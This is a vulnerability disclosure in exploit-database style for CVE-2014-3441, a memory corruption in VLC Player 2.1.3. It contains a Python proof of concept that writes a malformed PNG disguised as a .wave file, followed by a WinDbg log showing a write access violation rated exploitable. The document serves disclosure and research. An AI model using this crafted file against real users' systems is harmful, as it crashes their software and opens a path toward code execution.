VLC Player 2.1.3 Memory Corruption

`# Exploit Title: [VLCplayer memory corruption in latest Version 2.1.3 ]  
# Date: [2014/05/07]  
# Exploit Author: [Aryan Bayaninejad]  
# Linkedin : [https://www.linkedin.com/profile/view?id=276969082]  
# Vendor Homepage: [www.videolan.org]  
# Software Link: [  
http://filehippo.com/download_vlc_32/download/b39c14a9f03cb9cf32eb01b1123b97bf/  
]  
# Version: [Version 2.1.3 and prior to that]  
# Tested on: [Windows Xp Sp 3 x86]  
# CVE : [2014-3441]  
  
details:  
  
VLCplayer latest version V 2.1.3 suffers from an memory corruption  
Vulnerability via a malformed .png file format when load  
codec\libpng_plugin.dll, you can change file extention to .wave  
  
  
Poc:  
  
#!/usr/bin/python  
data =  
"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x7F\xFF\xFF\xFF\x00\x00\x01\x02\x01\x03\x00\x00\x00\xBA\x1B\xD8\x84\x00\x00\x00\x03\x50\x4C\x54\x45\xFF\xFF\xFF\xA7\xC4\x1B\xC8\x00\x00\x00\x01\x74\x52\x4E\x53\x00\x40\xE6\xD8\x66\x00\x68\x92\x01\x49\x44\x41\x54\xFF\x05\x3A\x92\x65\x41\x71\x68\x42\x49\x45\x4E\x44\xAE\x42\x60\x82"  
outfile = file("poc.wave", 'wb')  
outfile.write(data)  
outfile.close()  
print "Created Poc"  
  
  
  
  
  
windbg result:  
  
  
Microsoft (R) Windows Debugger Version 6.2.9200.16384 X86  
Copyright (c) Microsoft Corporation. All rights reserved.  
  
CommandLine: "C:\Program Files\VideoLAN\VLC\vlc.exe"  
Symbol search path is: *** Invalid ***  
****************************************************************************  
* Symbol loading may be unreliable without a symbol search path. *  
* Use .symfix to have the debugger choose a symbol path. *  
* After setting your symbol path, use .reload to refresh symbol locations. *  
****************************************************************************  
Executable search path is:  
ModLoad: 00400000 00426000 image00400000  
ModLoad: 7c900000 7c9af000 ntdll.dll  
ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll  
ModLoad: 6a300000 6a324000 C:\Program Files\VideoLAN\VLC\libvlc.dll  
ModLoad: 6a540000 6a791000 C:\Program Files\VideoLAN\VLC\libvlccore.dll  
ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\ADVAPI32.dll  
ModLoad: 77e70000 77f02000 C:\WINDOWS\system32\RPCRT4.dll  
ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.dll  
ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll  
ModLoad: 7c9c0000 7d1d7000 C:\WINDOWS\system32\SHELL32.DLL  
ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll  
ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll  
ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll  
ModLoad: 76b40000 76b6d000 C:\WINDOWS\system32\WINMM.DLL  
ModLoad: 71ab0000 71ac7000 C:\WINDOWS\system32\WS2_32.dll  
ModLoad: 71aa0000 71aa8000 C:\WINDOWS\system32\WS2HELP.dll  
ModLoad: 76bf0000 76bfb000 C:\WINDOWS\system32\PSAPI.DLL  
ModLoad: 771b0000 7725a000 C:\WINDOWS\system32\WININET.DLL  
ModLoad: 77a80000 77b15000 C:\WINDOWS\system32\CRYPT32.dll  
ModLoad: 77b20000 77b32000 C:\WINDOWS\system32\MSASN1.dll  
ModLoad: 77120000 771ab000 C:\WINDOWS\system32\OLEAUT32.dll  
ModLoad: 774e0000 7761d000 C:\WINDOWS\system32\ole32.dll  
(250.c1c): Break instruction exception - code 80000003 (first chance)  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for  
ntdll.dll -  
eax=00351eb4 ebx=7ffde000 ecx=00000006 edx=00000040 esi=00351f48  
edi=00351eb4  
eip=7c90120e esp=0022fb20 ebp=0022fc94 iopl=0 nv up ei pl nz na po  
nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000  
efl=00000202  
ntdll!DbgBreakPoint:  
7c90120e cc int 3  
0:000> g  
ModLoad: 76390000 763ad000 C:\WINDOWS\system32\IMM32.DLL  
ModLoad: 629c0000 629c9000 C:\WINDOWS\system32\LPK.DLL  
ModLoad: 74d90000 74dfb000 C:\WINDOWS\system32\USP10.dll  
ModLoad: 773d0000 774d3000  
C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll  
ModLoad: 5ad70000 5ada8000 C:\WINDOWS\system32\uxtheme.dll  
ModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.dll  
ModLoad: 77c00000 77c08000 C:\WINDOWS\system32\version.dll  
ModLoad: 755c0000 755ee000 C:\WINDOWS\system32\msctfime.ime  
ModLoad: 10000000 10008000 C:\Program Files\Internet Download  
Manager\idmmkb.dll  
ModLoad: 64fc0000 65008000 C:\Program  
Files\VideoLAN\VLC\plugins\access\libdshow_plugin.dll  
ModLoad: 6aac0000 6aacf000 C:\Program  
Files\VideoLAN\VLC\plugins\audio_output\libdirectsound_plugin.dll  
ModLoad: 6e980000 6e990000 C:\Program  
Files\VideoLAN\VLC\plugins\audio_output\libwaveout_plugin.dll  
ModLoad: 6a100000 6a119000 C:\Program  
Files\VideoLAN\VLC\plugins\video_output\libdirectdraw_plugin.dll  
ModLoad: 6c400000 6c5f6000 C:\Program  
Files\VideoLAN\VLC\plugins\access\liblibbluray_plugin.dll  
ModLoad: 68740000 68760000 C:\Program  
Files\VideoLAN\VLC\plugins\access\libaccess_bd_plugin.dll  
ModLoad: 6f440000 6f483000 C:\Program  
Files\VideoLAN\VLC\plugins\access\libdvdnav_plugin.dll  
ModLoad: 6b840000 6b85b000 C:\Program  
Files\VideoLAN\VLC\plugins\access\libaccess_vdr_plugin.dll  
ModLoad: 6f100000 6f114000 C:\Program  
Files\VideoLAN\VLC\plugins\access\libfilesystem_plugin.dll  
ModLoad: 68bc0000 68bd7000 C:\Program  
Files\VideoLAN\VLC\plugins\stream_filter\libsmooth_plugin.dll  
ModLoad: 64a00000 64a8b000 C:\Program  
Files\VideoLAN\VLC\plugins\stream_filter\libhttplive_plugin.dll  
ModLoad: 70680000 70736000 C:\Program  
Files\VideoLAN\VLC\plugins\stream_filter\libdash_plugin.dll  
ModLoad: 6ae40000 6ae64000 C:\Program  
Files\VideoLAN\VLC\plugins\access\libzip_plugin.dll  
ModLoad: 69e40000 69e52000 C:\Program  
Files\VideoLAN\VLC\plugins\access\libstream_filter_rar_plugin.dll  
ModLoad: 6d700000 6d70c000 C:\Program  
Files\VideoLAN\VLC\plugins\stream_filter\librecord_plugin.dll  
ModLoad: 70240000 70267000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libplaylist_plugin.dll  
ModLoad: 6cd00000 6ce7a000 C:\Program  
Files\VideoLAN\VLC\plugins\meta_engine\libtaglib_plugin.dll  
ModLoad: 66040000 66090000 C:\Program  
Files\VideoLAN\VLC\plugins\lua\liblua_plugin.dll  
ModLoad: 625c0000 626f9000 C:\Program  
Files\VideoLAN\VLC\plugins\misc\libxml_plugin.dll  
ModLoad: 73f10000 73f6c000 C:\WINDOWS\system32\DSOUND.DLL  
ModLoad: 77c00000 77c08000 C:\WINDOWS\system32\VERSION.dll  
ModLoad: 77920000 77a13000 C:\WINDOWS\system32\setupapi.dll  
ModLoad: 76c30000 76c5e000 C:\WINDOWS\system32\WINTRUST.dll  
ModLoad: 76c90000 76cb8000 C:\WINDOWS\system32\IMAGEHLP.dll  
ModLoad: 77920000 77a13000 C:\WINDOWS\system32\setupapi.dll  
ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv  
ModLoad: 77920000 77a13000 C:\WINDOWS\system32\setupapi.dll  
ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv  
ModLoad: 77920000 77a13000 C:\WINDOWS\system32\setupapi.dll  
ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv  
ModLoad: 77920000 77a13000 C:\WINDOWS\system32\setupapi.dll  
ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv  
ModLoad: 77920000 77a13000 C:\WINDOWS\system32\setupapi.dll  
ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv  
ModLoad: 77920000 77a13000 C:\WINDOWS\system32\setupapi.dll  
ModLoad: 72d10000 72d18000 C:\WINDOWS\system32\msacm32.drv  
ModLoad: 77be0000 77bf5000 C:\WINDOWS\system32\MSACM32.dll  
ModLoad: 77bd0000 77bd7000 C:\WINDOWS\system32\midimap.dll  
ModLoad: 77920000 77a13000 C:\WINDOWS\system32\setupapi.dll  
ModLoad: 6ff40000 6ff55000 C:\Program  
Files\VideoLAN\VLC\plugins\control\libhotkeys_plugin.dll  
ModLoad: 6e180000 6e191000 C:\Program  
Files\VideoLAN\VLC\plugins\control\libglobalhotkeys_plugin.dll  
main libvlc: Running vlc with the default interface. Use 'cvlc' to use vlc  
without interface.  
ModLoad: 68e80000 6992e000 C:\Program  
Files\VideoLAN\VLC\plugins\gui\libqt4_plugin.dll  
ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\COMDLG32.DLL  
ModLoad: 73000000 73026000 C:\WINDOWS\system32\WINSPOOL.DRV  
ModLoad: 71ad0000 71ad9000 C:\WINDOWS\system32\WSOCK32.DLL  
ModLoad: 769c0000 76a74000 C:\WINDOWS\system32\userenv.dll  
ModLoad: 01a20000 01ce5000 C:\WINDOWS\system32\xpsp2res.dll  
ModLoad: 5d090000 5d12a000 C:\WINDOWS\system32\comctl32.dll  
ModLoad: 76360000 76370000 C:\WINDOWS\system32\winsta.dll  
ModLoad: 5b860000 5b8b5000 C:\WINDOWS\system32\NETAPI32.dll  
ModLoad: 77920000 77a13000 C:\WINDOWS\system32\SETUPAPI.dll  
ModLoad: 6d6c0000 6d6f7000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll  
ModLoad: 6e040000 6e05e000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libavi_plugin.dll  
ModLoad: 68440000 68458000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libasf_plugin.dll  
ModLoad: 6c380000 6c39b000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libflacsys_plugin.dll  
ModLoad: 6ef40000 6ef4e000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libes_plugin.dll  
es demux error: cannot peek  
es demux error: cannot peek  
ModLoad: 011e0000 011fa000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libmpc_plugin.dll  
ModLoad: 6c2c0000 6c2cd000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libtta_plugin.dll  
ModLoad: 62380000 6238e000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libnuv_plugin.dll  
ModLoad: 67e00000 67e0d000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libwav_plugin.dll  
ModLoad: 03610000 036fc000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libsid_plugin.dll  
ModLoad: 6bf40000 6bf65000 C:\Program  
Files\VideoLAN\VLC\plugins\services_discovery\libsap_plugin.dll  
ModLoad: 6f8c0000 6f8eb000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libogg_plugin.dll  
ModLoad: 6a840000 6a96f000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libmkv_plugin.dll  
ModLoad: 70b00000 70b0c000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libdirac_plugin.dll  
ModLoad: 6d8c0000 6d97b000 C:\Program  
Files\VideoLAN\VLC\plugins\access\liblive555_plugin.dll  
ModLoad: 64740000 6474d000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libsmf_plugin.dll  
ModLoad: 6cbc0000 6cbcd000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libpva_plugin.dll  
ModLoad: 65300000 6530c000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libxa_plugin.dll  
ModLoad: 67500000 6750d000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libaiff_plugin.dll  
ModLoad: 6ce80000 6ce8d000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libvoc_plugin.dll  
ModLoad: 6fec0000 6fecc000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libau_plugin.dll  
ModLoad: 6b500000 6b56d000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libgme_plugin.dll  
ModLoad: 65280000 6528d000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\librawvid_plugin.dll  
ModLoad: 6c940000 6c94e000 C:\Program  
Files\VideoLAN\VLC\plugins\demux\libimage_plugin.dll  
ModLoad: 683c0000 6840f000 C:\Program  
Files\VideoLAN\VLC\plugins\codec\libpng_plugin.dll  
(250.b14): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for  
C:\WINDOWS\system32\msvcrt.dll -  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for  
C:\Program Files\VideoLAN\VLC\plugins\codec\libpng_plugin.dll -  
eax=00000000 ebx=018dee98 ecx=03ffe8c8 edx=00000000 esi=018ded80  
edi=018e5000  
eip=77c47631 esp=029ff940 ebp=029ff980 iopl=0 nv up ei pl nz na pe  
nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000  
efl=00010206  
msvcrt!memset+0x41:  
77c47631 f3ab rep stos dword ptr es:[edi]  
0:009> .load winext/msec.dll  
0:009> !exploitable  
  
!exploitable 1.6.0.0  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for  
C:\Program Files\VideoLAN\VLC\libvlccore.dll -  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for  
C:\Program Files\VideoLAN\VLC\plugins\demux\libimage_plugin.dll -  
Exploitability Classification: EXPLOITABLE  
Recommended Bug Title: Exploitable - User Mode Write AV starting at  
msvcrt!memset+0x0000000000000041 (Hash=0xefdbe58f.0x255f6419)  
  
User mode write access violations that are not near NULL are exploitable.  
`